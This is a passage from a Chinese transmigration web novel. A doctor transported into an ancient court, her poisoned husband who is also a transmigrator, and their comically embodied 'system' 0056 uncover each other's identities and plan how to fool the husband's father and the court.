系统说是能从面板中看到张沛民的生命数值,能够越过医生直接看出对方的状况,可直到现在,系统也未曾让周润看过面板上的数值。
自己作为系统目前唯一的宿主,周润蛮确定当前的任务之于0056来说是十分重要的,他们二人之间更加不应该出现相互的猜忌以及隔阂。
周润在这个世界上举目无亲,若不是吊在自己面前的这根胡萝卜,她大概率也不会和0056周旋。
可现在周润是掏心掏肺了,系统对于张沛民的情况却总是支支吾吾。
让自己去问?
那也得看对方能说多少。
张沛民可比周润在这个世界中多磨砺几年,他心中藏有别心,给她放出一些半真半假的信息也足够让周润和系统在这里喝上一壶了。
周润再次将手指悄悄搭上了张沛民的手腕处,探查着脉搏。
一颗不明来历的解毒丹下肚,张沛民的脉象竟然直接从死脉变成了正常人平稳的脉象。她有些难以置信,系统一颗丹药就能活死人、肉白骨,如此横行霸道的东西能存在在系统积分商店中,那她还何须给张沛民出谋划策。自己向系统赊下几颗解毒丹,再化名潜入宫中给那几个皇帝皇子一人来上一颗。
什么困扰多年的头风症也好了,将死之躯也充满活力了。皇帝就算不把张沛民封作二品官员,也得把他丢到太医院里面成为院长。
周润的直觉让她感觉此事断不像0056口中所说这么简单。
可是她又无可奈何。
一个被当代医学已经盖上必死标签的人居然能因为一颗药丸重焕新生?
周润要是带着这个案例回到学校去,一年就能拿下诺贝尔,明年应该就能以她的名字开创一个新的医学周刊了。
“娘子,能放开夫君的手了吗。”
周润还在思考着,目空一切的大脑被突如其来的询问吓得一哆嗦。
她才发现张沛民不知何时就已经醒来,此刻正在歪着脑袋看手腕处的三根手指。
“哈哈……夫君,你听说过什么叫做‘奇变偶不变’吗?”
周润悻悻地笑了声,盯着被张沛民反握着的右手,眼神有些飘忽地问道。
“我还听过‘苍茫的天涯是我的爱’呢。你好,同志,不知道怎么称呼。”
“宿主你看!我真的没骗你!他也是穿越来的!”
周润用未被禁锢住的那只手敲了敲脑门,想要让脑海中激动的0056给收一收他过于激动而到处乱窜的电流。
当然了,面上的表情也没有因为张沛民这番回答而变好多少。
“你这么叫我,会不会被张家里面的人发现异样,你要不还是喊回娘子吧。”
周润没招了,一句同志直接把她心里的小九九给粉碎了大半。
要是放任张沛民多叫几声同志,她恐怕就会直接忘记了自己心中的芥蒂与猜忌,只觉得他们二人是并肩作战之
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人。
但是周润能这么做吗!
为保小命肯定还是得步步为营的。
鬼知道对面到底是站在自己这边的,还是站在自己对面的。周润连0056的话都有所怀疑,怎么会选择对张沛民和盘托出。
“哼哼,既然娘子这么说的话,我就顺从娘子的意思吧。”
张沛民将手从周润的手腕处松开,正色道:“我的原名也是张沛民,A大自动化专业大三的学生。五年前意外穿越至此。”
“ヾ(≧▽≦*)o恭喜宿主,已获取任务对象的信任,完成了新人物。扣除赊账的200积分,现在你的账户中还剩下-100积分。”
周润看着张沛民认真的眼神有些飘忽,但还是伸手握上了他以示友好的双手,道:
“我的原名也是周润,A大中医系的毕业生,几天前坠湖穿到了周家。”
砰。
就在他们二人还在友好示意的时候,桌子底下忽然冒出了一律白烟,桌上垒起来的装饰糕点也随着这番动静散落了下来。
刚才还在周润脑中发烟花,发各种颜表情的0056钻了出来。不知道他是附身到了谁的身体上还是用数据链凭空捏造出来了一个实体,随着桌底的烟雾消散,0056操着一张面容姣好、貌若潘安的脸钻了出来。
“宿主!我终于捏出实体啦!”
0056一个八尺男儿【存疑】不知道用了什么法术,把自己的身体蜷缩进狭小的空间里面,现在只能勉强将自己的脑袋露出来,其他部分卡死在了桌布后面。
0056双手发力,试图将自己从桌子里面拔出来。周润和张沛民二人就坐在床前,看着0056莫名其妙的出现,又莫名其妙地卡在桌子中无法出来,心中都不约而同地冒出一个想法。
这个系统真的毕业了吗。
确定不是主系统今年放水放太过了。
0056当然感觉到他们二人的视线,原本不应该有任何表情的冰山脸此刻冒出了诡异的红晕。
“宿主,宿主你能不能过来帮帮我。”
“噗。”
周润再也无法忍住,扑哧一声笑了出来。
自从她开了这个头,张沛民也忍不住放声大笑出来,徒留这个0056带着艳丽的脸庞,壮硕的体格,尴尬地卡在桌子里哀求周润过来帮忙。
周润笑是笑,但还是帮忙,像拔萝卜一样脚踩在桌脚,双手双腿发力就就往外拔。奈何0056无法割舍的肌肉实在是太壮实了,完全不给她留出松动的空间。
“你能不能变小啊,你这体格完全没办法操作。”
“不行啊宿主,这可是我废了好几个数据库才捏出来的身体,我对他非常满意呢。我以后在这个世界只能以这个造型示人。”
她怎么一直没发现0056不仅爱打哑谜、不靠谱,竟然还是个自恋狂。
周润气喘吁吁地倒在地上,道,“那你说怎么办,总不能一直卡在桌子这里说话吧。“
0056想想也是,现在这个样子已经把他的脸都丢光了。
但是他数据库里面另外一个形象比他卡在这里更丢脸啊……
0056一想起那个每次一使用的小孩形象就不禁打了个哆嗦。他现在可是一拳一只老虎的凶猛电子系统,他才不要变成小孩。
“那个,哈哈,张小公子,能不能也过来帮我一把。”
张沛民笑够了,心中也猜测到面前这人的身份,径直走过来帮周润。
他们一人拉着0056一只手就往外拔。
反正他也就是个电子数据,应该是感觉不到疼痛的。
5. 和盘托出
好不容易终于把0056给扯了出来,他们二人一系统都维持不住面上冷静的表情。
周润和张沛民的脸上都或多或少得蹭上了白灰,看起来真的像在地里劳作完的模样。不过要论狼狈,还是0056狼狈一点。
周润还以为他们这种用电子数据堆积起来的实体,只是外表看起来与正常人无异,其他的什么衣物也好,身体也好,一直都不会破烂损坏。
但刚才他们二人想尽各种办法把0056从桌子里面拔出来,他身上真丝的外袍被勾到了某处,直接裂开三瓣。
0056才被救出来呢,还没把这些令系统脚趾抠地的记忆给删除掉,他就发现自己最喜欢的重工刺绣,动用了八个江南绣娘用时三个月制作而成的外袍变成了几条破布。
“……”
“我的衣服!!!!”,0056哇的一声哭了出来。
“我上任宿主给我买的礼物啊!怎么就这样就坏了。”
“好了好了,别哭了,你脱下来让张家的绣娘给你补好。”,周润及时制止住0056的嚎哭。
“哦,那倒不用。”,0056站直了身子,摆出一副翩翩君子的模样。
接着,身上发出一阵白色的光裹住他整个人。
刚才还是几条破布的外袍又变回了完整的样子。
“?”
“诶呀,宿主,别用这种眼神看着我。这不是怕我弄坏吗,所以上任宿主送给我的时候,我就扫描了七八套成品放到了仓库里。”
好的,风度翩翩深谋远虑的纳西索斯。
0056也是孤芳自赏的一个好系统,感觉给个镜子能从今天照到明天。
他在原地顶着周润无语的眼神臭美了好一会儿,终于想起来化身出来的目的,道:
“咳,是这样的。我在遇到张沛民之后,主系统的程序自动检测出来他是我们穿越局内一直搜寻的失踪者。刚才借着你还在昏迷之际,我就带着资料和数据回到总部那边汇报了一番,现在穿越局的组长都在和主系统开会,商讨要用什么方式将你的身体回收到穿越局那边去。所以目前来说,你们二位都是我的宿主。”
0056不知道从哪里找出来了一把红色的扇子,周润觉得应该是喜婆的大葵扇,之前将周润送入洞房的时候不小心落在此处。
大红的葵扇配上浅蓝的衣袍,看起来好不滑稽。
“可能因为我目前的等级太低了,我没有办法调用宿主二号的档案,之前负责宿主二号的系统也已经失踪了。”,0056瞟了一眼张沛民脸上的神色,继续道:
“而且吧,就是吧,不知道为什么,我刚才也试图直接连接宿主二号的意识。但是宿主二号的意识完全找不到入口,所以我只能化形出来对话了。”
“宿主二号,是在说我吗。”,张沛民指着自己问道。
“是的。”,0056像牙膏,藏了一肚子的话要说,但每次都要被挤一下才吐出来一句。
“还有关于宿主宝宝任务的事情。”,0056尬笑了两声,似乎终于鼓起什么勇气,道:
“穿越局所有颁布到宿主身上的任务都是通过算法、故事走向抓取出来的,一般来说,任务对象都应该这个世界的原住民。但是因为宿主二号的原系统被弹出世界,主系统做的算法没有办法分辨出来无系统的人,机缘巧合下,主系统的算法为了扭正剧情的偏差,就把宿主二号当作任务对象发布出来了。”
“不对啊,0056。你不是说主系统正在商讨怎么将张沛民抽离世界吗,那我的任务怎么办?”,周润质疑道。她问出口才反应过来张沛民还不知道她身上的任务呢,正犹豫要不要开口解释之际,0056就帮她全都说出来了。
“这个嘛,主线任务应该还是没有偏差的,宿主宝宝你还是需要继续帮助宿主二号重回朝廷,平步青云哦。只是日后一些积攒积分的任务就应当会将宿主二号从任务对象中排除出去。对了,不知道宿主二号之前的任务是什么呢?”
张沛民遇到0056,更像久旱逢甘露。
自从他原先的系统被莫名其妙从脑中弹了出去,自己再也无法联系上后,他就一直装疯卖傻至今。
正所谓明枪易躲、暗箭难防,他在这个朝代中是张宰相极端受宠的小儿子,每日的吃食都有专人看护。他竟然也能够在不知不觉中服下毒药,失去意识坠入湖中。背后给他下毒的人定然没有如此简单。
一开始,他也想着如果就这样装草包过一辈子,也不是不能接受。总好过自己重回朝堂,锋芒毕露,不到一个月又被这个神秘的人下药毒害。
但他还没有想好反击之法时,他竟然因为张立勋单方面给他寻找的一桩婚事重新接触到系统。
张沛民已经不奢求能够重新回到现代了,他只奢求能够在这个朝代里面寿终正寝。
如今突然出现的系统跟他说,将有机会被重新抽离世界,去到穿越局。张沛民是一点信念都不敢有,生怕少说了什么,就让自己和0056有所隔阂。
“我原先的任务是在朝廷上献计,位极人臣。应当和周润的任务是一样的。”
“竟是如此。”,0056沉默一会儿,不知道在脑中想着些什么东西,道:
“对了,还有一件事。是关于宿主二号身上未清理干净的毒药。”
他从袖口处掏出了一大瓷瓶的药丸,放到了张沛民的手上,继续说,“你所中的毒太奇怪了。平日不毒发的时候,我在面板上看到的数据是完全正常的。可一旦毒发,面板上的数据全部都会归零,脉象也是死脉,仿佛整个人离死亡只有一线之隔。可偏偏你是穿越过来的,系统里面能够兑换而来的解毒丹只能保你一段时间的性命,无法根治病症。”
0056有些为难地叹了口气,“但是你放心,主系统跟我承诺过,只要你能完成任务,穿越局一定会想尽办法给你清除干净体内的毒素。”
张沛民握着手中的瓷瓶,消化0056带来的这些不知道是好消息还是坏消息。
一个大三的学生,带着系统在丽朝步步为营,也只能做到勉强扳倒一些心眼子多如莲藕的老狐狸爬上去。
但也只是爬上去。
张家树大招风,仅有的三个男丁都在朝廷中有所谋职。在张沛民穿至原身身上前,张家大儿子张昭民便经常被其余党派针对。
若非张昭民向当今圣上自愿请求调离京城,暂避风头,估计很快就会变成派系斗争的牺牲品。
可是该来的还是会来,他们才刚逼走张昭民,又来了个张沛民。
朝中不知道有多少只眼睛
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盯着他们父子二人。张沛民是心中有数,平日也靠着系统的提醒躲过越来越缜密的毒害。
可那日不知怎得,稀里糊涂之下就中了毒,就被人抛下了湖中。
等到再次醒来之际,脑中的系统也失踪了。
张沛民哪能不懂这其中的意思,无外乎就是想将他置诸死地。
万一死了,那正好,朝中的威胁也就去除了。反正张立勋还有一个儿子,不至于为了这个小儿子不识趣地大闹朝廷,让他和他儿子都丢了饭碗。
万一活了,那也行。能爬到这个位置的人没有蠢钝如猪的,但凡惜命的聪明人都会借此告病还乡。
他肯定是个聪明人,不然也无法借着系统的提示在这群老狐狸之间斡旋。
但是他又没得选择。
如果系统还在的话,他一定会选择硬刚朝中威胁他的势力,说不定还能借此铲除一些党羽,给自己的功绩再加上几笔。
可是系统不在了。
不知道出于什么原因,系统居然从他脑海中消失了。
任凭他怎么呼唤,脑中再也没有出现过电流声。
他不敢赌,系统还在的时候或许能够勉强躲过一劫,可是现在他并没有系统护身,若是再中毒一次,应该就会直接呜呼哀哉。
张沛民将穿越过来的这些事情大致地向其余二人说出,“那日坠湖后,我就发现身上的症状越来越奇怪,有时候是冰火两重天,有时候则是直接失去意识昏迷倒地。父亲给我寻了不少大夫,却依旧无济于事。直到最近,体内的毒素似乎随着时间不断积累、增加,原先还有些江湖郎中说能放手一搏,现在都只会摇头叹气,让我尽快交代后事。”
他咽了口唾沫,试图舒缓有些发紧的喉咙,向周润道歉,“父亲也是病急乱投医,想着嫁娶之事多少能够冲掉一点衰气。我还未来得及阻止,周父就已经答应下来。这一切也并非我本意,你应该有一个更好的身份完成任务。”
周润没想到这一番话会忽然牵扯到自己身上,也是十分自在地接受了张沛民的话并打了一套太极,“无事,本来我也要寻个借口接近你的。现在也算顺水推舟了,接受了周文安的婚事,也能够有个身份名正言顺地辅佐你。”
说到此处,周润也是恶狠狠地瞪了一眼0056,道:“你说对吧,貌若潘安的系统先生。”
“哈哈……”
0056尬笑一声,哪里不知道周润这是在怪自己在对方刚穿过来的时候就给她上强度,各种以完成任务相逼让她接受这门亲事。
“无论如何,你们二人现在是绑在一条船上的蚂蚱了,在穿越局讨论出来解决方案之前,切勿轻举妄动。当然,你们也是得完成任务的。好了,我现在得先会总部汇报。刚才要不是事发突然,宿主二号就要厥过去了,我现在还在总部开会呢。”
0056不知道从哪里拿出了把纸扇,完全摊开后就对着自己身上扇风。扇面上写着的“天道酬勤”看起来很像某个名家手笔。
“你们两个有什么要交流的就抓紧时间了,明天早上还得去给张立勋敬茶呢。”
0056一边摇着扇子,身上的光晕愈发明显。在他完全消失在房间内之前,给周润、张沛民二人留下了这句话。
随后,就剩下周、张二人面面相觑。
6. 相亲?
他们二人之间的氛围就有点像小时候被爸爸妈妈带出家门,在马路上遇到了爸爸妈妈的朋友,遂即就被遇到闺蜜转身开始热聊的家长给丢到一旁。
也有点像媒婆把相亲的两个人拉了出来,然后找了个借口去上厕所,就剩下一男一女坐在桌子对面尴尬地互动。
反正0056离开之后,房间内的气氛瞬间降至冰点。
“哈哈。”
周润尬笑两声,想要给自己加加油,找个合适的语句打开话题。
她心中有很多疑问,张沛民到底身上的是什么毒,系统给他的解毒丹是不是真能起死回生。
后者应该是假的,如果解毒丹真的能够起死回生,将张沛民身上不知名的毒素全部去除清楚,之前那一颗就以绝后患,哪里需要额外再给出一整瓶的药丸,还让他定期服用。
周润是个医生,这种疑难杂症就好像天生有吸引力一样,让她无论是出于完成任务方面,还是出于医生与患者的方面,都想要用自己所接受过的教育、凝结出来的理论来解释这个玄幻的世界。
这样想着,她在心里面给自己换了一个方向,将自己当作在门诊问症患者一般,“你好,我是A大中医系本硕毕业的学生,有超过两年的临床经验。不知道我的医术能不能给予你一些信任?”
“甘之如饴。这半年多来也没少被江湖郎中把脉问症了,相比起他们,我还是更信任当代医学。”
张沛民伸出右手,递到了周润面前,道,
“谢谢周医生给我诊断。如果是坏消息,你也无须皱眉隐藏,我早就接受现实了。”
周润有些惊讶张沛民的态度。
来医院看病的,谁不是为了求一线生机。大多患者看到医生诊断的时候就会开始落泪,哭着求医生一定要竭尽所能救自己一条命。
人,是求生的。
能够平静地接受自己死亡的预警,恐怕只能是终日躺在病床上,一次又一次被病症折磨。最后等到别人问起,只能虚弱地扯出一个微笑告诉对方,死亡也是解脱。
周润将手指放到对方的尺关寸脉上分辨,心中被各种杂乱的情绪围绕着。
0056那一颗解毒丹下毒,张沛民无药可解的死脉竟然有所转变。
气血耗尽,杂乱无章的脉象,竟然渐渐地平稳下来。
即使是传说中的天山雪莲搭配稀世珍宝也未必能够在一个时辰内扭转局势到这种情况。
周润从听到张沛民的病症开始,就怀疑这并非是寻常可见的毒药。
古代提炼药品的技术落后,很多药物的纯度都不能够根治病症,更别说一小撮就能让人后患无穷、甚至是杀人于无形。
仅有的几种毒药,周润作为一个中医系的学生,每日翻查古籍,也能够做到烂熟于心。
张沛民既没有口吐白沫,意识也是清醒的,从未陷入过混沌以及迟钝的状态。
这与任何一种中毒的症状都牵扯不上,也怪不得张立勋作为当朝宰相,悬赏万两只求隐世神医能治好张沛民的病,却始终无人能够摘下这份悬赏。
周润心中有了一个猜测,为了验证这个想法,她一边假装脉象复杂,一时半会无法解读出来,一边开口向张沛民询问道,
“你能在跟我说一下坠湖后的状况吗。”
“当然可以。我那日坠湖后被路过的小厮救了起来,当时数九寒冬,不到半日就发起了高烧,昏迷数日。一开始他们都以为我是感染了风寒,各种各样的奇珍异宝都放到汤药里面让我一同服用下去。可等到我清醒过来后,脉象始终不见好转。”
张沛民苦笑一声,似乎回忆起了不好的东西,
“再后来,便是不定时日地昏迷过去,任凭周围人如何呼唤都无法醒来。我原本打算瞒住父亲,装作是高热后身体依旧未恢复。呵,多种补品下肚之后仍不见好转,甚至症状愈发明显,我再怎么样隐藏都躲不过父亲的法眼。”
“可你又如何能断定这就是中毒导致的。”
“当然能!”
张沛民有些激动,语气焦急地喊出这三个字,旋即又冷静了下来,抿起嘴来不愿再出声。
周润也不恼,被他忽然吼了一句依旧握着他的右手。她手上温热的体温像是源源不断地通过接触的皮肤向张沛民传递力量,支撑着他将隐藏起来不愿说出的事实说出来。
“那日……那日岸边的小厮说我是喝醉了酒,脚步虚浮,在湖边不慎滑倒摔入湖中。我的原身虽是纨绔子弟,终日花天酒地,但我酒量并不好。为了避免意外,我每次都会让系统悄悄把杯中酒水变成白开水。喝醉根本是无稽之谈。”
周润没想到竟还有这一层原因在中间。
“系统也曾跟我说过,上一任宰相的大儿子从来不流连烟花之地,也不爱好饮酒玩乐。某日他却在玉春楼豪饮一壶”三碗不过冈“,在京郊外失足摔下悬崖。大儿子死后不久,上任宰相便告老还乡。”
张沛民点到即止,再次沉默下来。
周润在门诊部做了这么多年的阅读理解,也能够大致猜出来张沛民猜测的逻辑。她估摸着朝中应当是一直有藏匿在暗处的党派,专门使用种种方法狙击位高权重之人,让他们急流勇退。
当街杀人过于招摇,那便隐蔽地下毒。
古往今来,一直如此。
或许他们也没想过他们想做掉的人身上有金手指,这一撮毒药竟然不能将他送上西天。
“父亲靠着自己爬到今天这个位置,朝中那些明争暗斗都有一套属于自己的对抗法则。在他发现我总是无意识地昏迷后,他便猜出我应当是中了某种毒药。”
“既然你父亲知道全部的真相,为什么他还要到处给你寻一门亲事。”
“因为,我的寿命将尽,昏迷的次数越来越多,脉象愈发杂乱。我虽然和父亲商讨后决定装草包暂避风头,终日躲在张府中扮演怕事的草包,但给我下毒之人也不会冒出来给我这个潜在的威胁放下解药。我始终会死的,可父亲却希望我能够坚持到他找到解药那一天。于是乎病急乱投医,就想到了冲喜这种事情。”
周润一直以为张立勋并不知道这些背后的弯弯绕绕。可转念一想,张立勋可是能在朝廷中站到高处的人,即使张沛民不和他坦白,他也能够猜出个大概。
“我知道在这件事上,是绝对无法扭转他的想法的,我也不愿白白耽误一个姑娘。所以才会私下偷偷写了一封和离书,想着等到我病危那日,你就可以拿出来和离,避免成为牺牲品。”
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“那你现在可以收回去了。”,周润不甚在意道,“我们现在可是绑在一条船上的蚂蚱,夫君~我是绝对不会舍弃你离去的。”
张沛民被他逗笑了,回道,“好的,娘子~”
周润面上是这副耍宝的表情,脑中却是另外一番想法。
张沛民所中的毒药绝对不是这个朝代的产物。
其他人只当做是学艺不精,无法寻找出来病症并对症下药。
周润却能够肯定这种毒药绝对不是古籍中存在的东西。
这分分钟是其他穿越者通过系统兑换出来的特殊药方。
没有任何一种毒药会让一个人没有情绪上的波动,意识上的模糊,就能够让他终日陷入昏迷当中。
张沛民的皮肤没有红点,眼睛也没有突出,甚至还能够清醒地装起草包来,根本不是中毒的表现。
事以密成,周润不敢将这个猜测告诉0056和张沛民。
否则他们必定会为了保全张沛民的肉身以及穿越局的名声,会直接将张沛民抽离这个世界再做打算。
她的任务对象都直接脱离世界了,谈何完成任务。周润想回到现代的心思直接告吹。
在门诊跟着师傅看症,少说也有3年,周润已经有良好的演技能够做到无论面对怎样的疑难杂症都可以维持面上的微笑。
“脉象平稳有规律,与刚才的死脉大相径庭,应该是0056给你的解毒丹发挥了作用。目前来说,这一瓷瓶的解毒丹或许能够维持一段时间的正常。”
周润将手收了回来,胡扯了一些术语出来让张沛民放心就好。
“呼~好久没有感受过这种不用担惊受怕的日子了。”
他倚靠在床边,似乎是嫌喜婆洒在被子上的百年好合硌屁股,换了好几个位置后发现哪儿都是干莲子,完全无处可躲。他一气之下直起身来,将床上的被子卷了起来一并扔到床外,将上面残留的干果尽数抖了个干净才重新回到床上。
周润看他这番动作,还以为张沛民乏了,想要睡觉。她想着二人虽然拜了高堂,入了洞房,但他们都是现代人,这些古代的婚嫁流程根本就算不上结婚。
她也做不到心无顾忌地和张沛民同床共枕。
这里是张家,赶他去睡躺椅肯定会被张家的仆人发现,到时候自己泼辣的名声传了出去肯定会给自己惹来一番祸害。
古代也没多少人家能够接受儿子娶来的媳妇是个泼辣不知三从四德的女人。到时候惹来个嬷嬷教自己礼仪,那可就只能被困在张家寸步不能离。
思索后,周润打算委屈一下自己,去睡躺椅。
张沛民见她起身的动作有些疑惑,但也猜到了周润应当是不愿意和自己睡在同一张床上。他伸手按住周润的肩膀,道,“无事,我现在身强体壮的,睡一晚上躺椅也没什么事情。明日去给父亲敬完茶后我就想办法和你分开房间睡觉。今晚就先这样吧,明日还得在他们面前演一出大戏呢。”
“大戏?什么大戏?”
“自然是演我们二人不和,让父亲给放弃继续撮合聪明绝顶的周家大小姐和张家的草包小儿子啦。你放心吧,明日跟着我就好。晚安。”
周润隐约感觉明天是一场影帝的诞生。
7. 影帝的诞生?
翌日清晨,晨曦未亮。
昨夜挂在门口的大红灯笼早就熄灭。
张家的仆人趁着天还未大亮,拿起扫帚将满地的鞭炮碎屑清扫干净。
张立勋在朝中是以清廉的形象示人,对于过来哀求帮忙的一律是软硬不吃,分文不收。因着每月到手中可支配的钱财也只有朝廷那一份俸禄,自然是养不起过多的家仆。
“诶,我已经三四日没有好好歇息了,一直在帮着那个喜婆布置府内。不知是不是过几日还得帮忙张罗宴席。若是如此的话,等会洒扫完就得偷摸溜回去眯一会了。”
“你又不是不知道宰相老爷什么性子,那可是一袖清风,刚正不阿啊!嫁娶之事就宴请八方,如此奢侈,不会是他的作风。”
这么说来倒也是。
年轻一点的那个仆人一拍脑门,才想通了这回事。他停下了打扫的动作,伸长脖子往府内看了一圈,发现张家父子与周家小姐都还未起来,便大着胆子向一旁年长一些的仆人,李东问道,
“李叔,你说这嫁娶大事,老爷都不做做门面功夫,周家那边能满意吗。”
“嘘,有些东西不是你能八卦的。”
李东故弄玄虚地做了一个禁声的手势,想着把江满满给打发去一旁给没有灯油的红灯笼添上一点。
不过他始终不放心,江满满才来张府不到两年,什么东西都不太灵光,干力气活倒是利落得很。诶,这种人就是有点小智慧,但是也有点小蠢,永远听不懂别人的暗示。
张立勋昨日让他们早些起来,帮着把院内的一片狼藉清除干净,再在府内主厅布置好敬茶的东西就可以回去歇息一番。
李东年岁摆在这里,若不是人精怎么能够在京中服侍过几家大人也能够全身而退。张立勋也正是欣赏他这种不用多说就能够将事情做得妥妥当当的能力,才会把他聘过来张府。
李东也并没有辜负张立勋的赏识,至少在打理府邸大小事务上面是尽心尽力,丝毫不敢怠慢。
渐渐的,有一些事情张立勋也会愿意让李东去干。
例如以前去玉春楼把差点惹事的张沛民拽回家中,又例如前几日去跟周家的周文安下聘书。
有很多东西他不需要问为什么,也不能问为什么,张立勋叫到他就得去做。
李东虽然不太清楚,张、周二家在私底下到底商量了什么,反正那日周文安看了那封聘书,再看了老爷写的书信,脸色变白,站都快站不稳了。
好不容易回过神来,便掏了一点碎银子出来给李东,让他回去报信给张立勋说是要好好想想。
他可能没那么聪明,也不知道暗藏在这封书信背后的波涛汹涌,但他能够猜到恐怕这一桩婚事并不是父母之命、媒灼之言这么简单。
昨日听到张立勋竟无需和周家交流一番,就能直接将宴席给取消掉,李东心中的猜测也有了个大概。
恐怕这周家大小家嫁给二公子,就不是冲着好好过日子去的,只是为了某种目的而已。
他是不敢揣测张立勋对周润的态度,李东也不是那种会看人下菜、仗势欺人的仆人。从始至终装作什么都不知道才是保全自己的法则。
不要说,也不要问。
他不帮着提点一下江满满,就怕这家伙刨根问底的性格会惹祸上身。李东直觉这件事情绝对不是罚一个月俸禄这么简单的事情,但凡这个江满满真得如此没有眼力见,到处打听的话落到张立勋的耳中,他们府内上下肯定是丢饭碗的结局。
他想了会,还是把准备去拿梯子干活的江满满喊了回来,压低声音道,
“诶呀,现在的小年轻情投意合看对眼了,就会想方设法地求家中长辈同意这门婚事。京中的门户权力滔天,又何必通过联姻来增强自己的话语权呢。”
“你是说二少爷和周小姐情投意合吗。”
“……”
朽木不可雕。
不过这样理解也行。
反正江满满别给他惹祸就行了。
李东露出了一个僵硬的笑容,留下一句“别再问了,去干活吧。”,就继续低头干活。
江满满还想继续插科打诨,追着李东问多几句,可刚才撂下这一句话后就不再抬起头,任凭江满满怎么在他面前晃悠都默不作声。
到底为什么呀。
江满满是不懂多少人情世故,但京中的规矩还是懂得不少。
京中都是好面子之人,在自己儿女的婚礼嫁娶上来说,大摆筵席设上个三天三夜的流水席都只是平均水平。更别提有些江南富商出身的高门大户,恨不得将各种礼仪做到十足。倒也不是为了昭告天下,自家女儿攀上了哪个高枝,自己儿子又娶回来了个背景多么厉害的媳妇,而是怕被别人看低一眼。
谁不知道张家、周家的厉害。
一个是当朝宰相,一个是富商出身的门第。两家还未联姻的时候,京中就不知道有多少人盯着张家的儿子和周家的女儿。
虽然无人不知张家大公子自请离京,恐怕是得罪了什么人;张家二公子是草包一个,但无论嫁于哪位公子,生活必定不会太差。正所谓朝中有人好办事,若是能够拉拢张立勋这个皇帝的得力干将到自己这边来,一个女儿又算得上什么。
而周家,则是出手阔绰的土豪。背景虽然神秘,许多人都不知道周文安世世代代传下来发家的财富到底从何而来,可这个时代谁不会见钱眼开。若是冲着那几万两的嫁妆,都足够京中的公子为了周家小街争破脑袋了。
张、周二家的联姻让京中暗暗觊觎的数家不禁咬碎牙齿。
现在可是伸头也是一刀,缩头也是一刀。
就算张家迎娶周润不招摇过市,也无法将那些人心中的刺拔出,反倒有可能让周润在京中的名声不太好,会被人戳着脊梁骨说她并不受宠之类的话。如此下来,分分钟也会把亲家处成仇人。
还不如干脆流水席摆上三天三夜,让别人彻底死心好过。
江满满不懂的东西,京中大把人也想不通。
毋庸置疑的,恐怕就是京中又要变天了。
他们必然是不知道张二公子身体因中毒而有隐疾,
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只当每日进进出出的大夫是张立勋寻来想要治好这个放着大好前途不要,窝在家中当草包的张沛民的脑子。他们也必然不知道周润嫁去张家是因为多年以前一封玩笑般的婚书。
他们只当作张、周二家私底下应该是悄悄达成了什么条约,迫不及待地要将周润送到张家当质子。
当今圣上又不太管大臣私下的嫁娶之事,就算是强强联手打算谋权篡位又如何。这位可是从京城出发一路北上,御驾亲征,将边境的匈奴一路打退。
谋反?
那就打回去。
这种雷霆手段的确是让圣上近几年来都无法安定下来,但却十分管用。
打一个也是打,也不差在京中谋反这群人了。
能入朝当官的人谁不是审时度势的一把好手,自然也是不敢触霉头。
联姻来联姻去,也只是想着精进自己的党派,争夺来皇帝的信任。
李东、江满满这一类人也牵扯不到这种党派竞争中,思来想去也只是害怕自己依附的大腿被一巴掌拍到岸上而已。
李东也确实说得没错,他们又何必知道这么多,就算知道了,也无济于事。
——————————————
张府中的仆人不多,但干起活来确实利索。李、江二人在外面负责洒扫,昨日留宿在府中的喜婆也掐着点起来给前厅布置起敬茶的东西。
不到半个时辰,都尽数完成。
砰砰砰。
“二少爷,二夫人,该起床去敬茶了。”
李东在门口,象征性地敲了敲房门,开口道。
“知道了,我们等会回去的。”
屋内传来了张沛民的声音。
李东还想继续嘱咐一些事情,话还没说出口,就像是被张沛民预判到了后面的话语,被打断到,
“你先回去照顾父亲吧,我会准时到的。”
李东也不敢继续开口,悻悻退出了门外。
他只是来通传一句,二少爷知道了,他的职责就到位了。
张沛民在屋内一直听着屋外的动静,发现李东听了他那句话后就退了出去,才终于放下心来继续和周润对“剧本”。
“父亲知道我命不久矣,可外面的人不知道。我们两家联姻放在别人的眼中无异于眼中钉,今日必定要大闹一顿,让整个京城都知道我们二人的不和才能少惹一些麻烦,也才能让他们放松提防,后面才好重返朝堂。”
周润如何不知,只是没想到张沛民胆子这么大,竟然敢如此剑走偏锋。
“我们是不是应当等0056回来之后再做打算。”
“来不及了。昨日大婚,谁知道有多少人暗中盯着我们两个。若不是父亲吃一蛰长一智,没有大排筵席,恐怕昨晚我们两个就会因为意外溺死在湖中。”,张沛民语气坚定道,
“今日借着敬酒之际大闹一通,一方面是跟父亲通通气,一方面则是让府中的大嘴巴把这些事情穿到京中去。到时候三日回门,我也能够助你从周文安那薅一把羊毛下来。”
“好。”
8. 开演
周文安机关算尽,生怕今日随着迎亲大部队一并送到张府中的嫁妆被张立勋尽数吞掉。
不情不愿地送个女儿过去就算了,要是让他还要再倒贴一笔钱上去,那可是没门。
因着昨日也就是敲锣打鼓声势浩大而已,跟着周润一起来到张府的东西也就是几件衣服,甚至还不是今年重新置办的。
周润倒没什么所谓,反正原身过往一直都是一个大门不出二门不迈的传统深闺女子,衣柜里面的这些衣服也没多少人见过。
不过张沛民可不这么看,他们二人合计一番后重新换了一套衣服。
虽说是张家拿着婚书逼婚,但张立勋的为人可不如同周文安这般算死草。
在张立勋看来,张沛民命不久矣,这个被自己使尽手段逼迫来家中当小儿子媳妇的周润就是他们家的第一个儿媳,也应该是小儿子唯一一个老婆了。
张立勋心知这一桩婚事下,藏着他们这一辈的血雨腥风,也藏着小一辈的棒打鸳鸯。
他自然可怜周润,但这是他穷途末路下想出治愈张沛民的唯一方法了。怜悯又如何,他是不愿意放手这桩威逼利诱的婚事,也只能给周润多置办一点服饰,让她在张家也不至于太可怜。
周润将穿了一整天的喜服脱了下来,换上张沛民从衣箱中找出来的一套红色蜀绣。
衣服有些宽大,但总算是合身。
她将张沛民递过来的物品藏在宽大的衣袖中,手心紧紧攥着,整个身体都因为张沛民等会疯狂的计划而颤动。
————————————
张立勋跟着喜婆来到了主厅,坐到了正中央的红木椅子上听着对方的话,两只手指转动着大拇指上的玉扳指。
他有些拿不准周润和张沛民的态度,照自己对儿子的了解,昨日如果不是找了个借口让喜婆用公鸡替代张沛民拜堂,恐怕连拜天地的流程都走不完,他就要在一众看热闹的人面前大闹一番,势必要将周润给丢回周家去。
可这只公鸡也只能替代一会,他们二人最终还是会在婚房中见面。
